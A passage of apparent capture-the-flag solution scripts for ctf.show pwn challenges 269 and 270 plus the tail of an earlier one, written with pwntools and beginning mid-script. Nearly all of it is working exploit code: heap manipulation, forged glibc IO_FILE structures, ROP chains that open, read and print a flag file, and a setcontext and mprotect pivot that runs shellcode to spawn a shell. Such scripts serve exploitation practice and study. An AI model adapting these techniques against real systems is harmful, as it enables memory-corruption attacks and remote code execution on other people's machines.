71     pop_rax = libcbase + 0x3fa43
72     close = libcbase + libc.symbols['close']
73     syscall = libcbase + libc.symbols['syscall']
74     read = libcbase + libc.symbols['read']
```

```

75 write = libcbase + libc.symbols['write']
76 orw_addr = heapbase + 0x2a0
77 payload = fake_IO_FILE + p64(heapbase+0x4a0)+p64(0)*6 + p64(orw_addr) +
    p64(ret)
78 edit(2, payload)
79
80 flag_addr = heapbase + 0x4a0
81 orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(sy
    scall+27)
82 orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_rbx)+p64(0x50
    )+p64(0)+p64(read)
83 orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_rbx)+p64(0x50
    )+p64(0)+p64(write)
84 edit(0, orw.ljust(0x200, '\x00')+'./flag')
85 menu(5)
86
87 io.interactive()

```

## pwn 269

```

1  from pwn import *
2  context.log_level = 'debug'
3  io = remote("pwn.challenge.ctf.show",28130)
4  elf = ELF("./pwn")
5  libc = ELF("./libc/libc.so.6")
6  libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
7  libc.address = libc_base
8  io.recv(2)
9  fake_fp = u64(io.recv(6).ljust(8,'\x00'))
10 fake_printf_buffer = fake_fp + 0x58
11
12 fp = IO_FILE_plus_struct()
13 fp.vtable = 0x1ced60 + libc_base
14 fp._IO_write_ptr = fake_printf_buffer+ 0x30 + 1
15 fp._IO_write_end = fake_printf_buffer + 0x30 + 1
16 fp._IO_write_base = 0x0
17 fp._IO_backup_base = 0xff
18 fp._IO_buf_base = libc.sym.system
19 fp._IO_save_base = fake_fp + 0xa0
20 fp._wide_data = 0x68732f6e69622f
21 fp = payload_replace(bytes(fp),{
22     0x58:0,
23     0x60:0,
24     0x68:fake_printf_buffer + 0x30 + 1,
25     0x70:0,

```

```

26     0x78:11,
27     0x80:fake_fp
28 })
29 payload = flat(
30     {
31         0x0:bytes(fp),
32         0xe0:fake_printf_buffer,
33     }
34 )
35 io.sendline(payload)
36
37 io.interactive()

```

## pwn 270

```

1  from pwn import *
2  context(arch = 'amd64',os = 'linux',log_level = 'debug')
3  io = remote("pwn.challenge.ctf.show",28252)
4  elf = ELF('./pwn')
5  libc = ELF('./libc/libc.so.6')
6  def add_heap(size, content):
7      io.recvuntil('Your choice :')
8      io.sendline('1')
9      io.recvuntil('Note size :')
10     io.send(str(size))
11     io.recvuntil('Content :')
12     io.send(content)
13  def show_heap(index):
14     io.recvuntil('Your choice :')
15     io.sendline('3')
16     io.recvuntil('Index :')
17     io.sendline(str(index))
18  def delete_heap(index):
19     io.recvuntil('Your choice :')
20     io.sendline('2')
21     io.recvuntil('Index :')
22     io.sendline(str(index))
23  def exit():
24     io.recvuntil('Your choice :')
25     io.sendline('5')
26
27  system_addr = 0x4006D0
28  print_note_content = 0x400870
29  print_note = 0x407700
30  puts_addr = 0x4006C0

```

```
31 heap_list = 0x6116c0
32 system_got = 0x611030
33 stdout = 0x611680
34 printf_sym =elf.sym["printf"]
35 init = 0x409AC0
36 add_heap(0x500,"a"*0x10+"/bin/sh\x00")
37 add_heap(0x500,"b"*0x10)
38 delete_heap(0)
39 delete_heap(1)
40 add_heap(0x10,p64(print_note_content)+p64(stdout))
41 show_heap(0)
42 stdout_addr = u64(io.recvuntil("\n",drop = True).ljust(8,"\x00"))
43 libc_base_addr = stdout_addr - 0x21a780
44 setcontext_addr = libc_base_addr + libc.sym["setcontext"]
45 environ_addr = libc_base_addr +libc.sym["environ"]
46 gets_addr = libc_base_addr +libc.sym["gets"]
47 free_hook_addr = libc_base_addr +libc.sym["__free_hook"]
48 unsortbin_addr = libc_base_addr + 0x219ce0
49 mprotect_addr = libc_base_addr +libc.sym["mprotect"]
50
51 delete_heap(2)
52 add_heap(0x10,p64(print_note_content)+p64(heap_list))
53 show_heap(0)
54 heap_addr = u64(io.recvuntil("\n",drop = True).ljust(8,"\x00")) - 0x2a0
55
56 delete_heap(3)
57 add_heap(0x10,p64(gets_addr)+p64(heap_addr-0x200))
58 show_heap(0)
59 ucontext = ''
60 ucontext += p64(setcontext_addr)+p64(0)*4
61 mprotect_len = 0x20000
62 rdi = heap_addr
63 rsi = mprotect_len
64 rbp = heap_addr + mprotect_len
65 rbx = 0
66 rdx = 7
67 rcx = 0
68 rax = 0
69 fake_io_addr = heap_addr + 0x2a0
70 rsp = fake_io_addr + 0xe8
71 rip = mprotect_addr
72 ucontext += p64(0)*8
73 ucontext += p64(rdi)
74 ucontext += p64(rsi)
75 ucontext += p64(rbp)
76 ucontext += p64(rbx)
77 ucontext += p64(rdx)
```



```
78 ucontext += p64(rcx)
79 ucontext += p64(rax)
80 ucontext += p64(rsp)
81 ucontext += p64(rip)
82 ucontext = ucontext.ljust(0xe0, '\x00')
83 ucontext += p64(heap_addr+0x6000)
84 payload = ucontext
85 shellcode = asm(shellcraft.sh())
86 payload += p64(fake_io_addr + len(payload) + 0x8)
87 payload += bytes(shellcode)
88 io.sendline(payload)
89 show_heap(0)
90
91 io.interactive()
```

















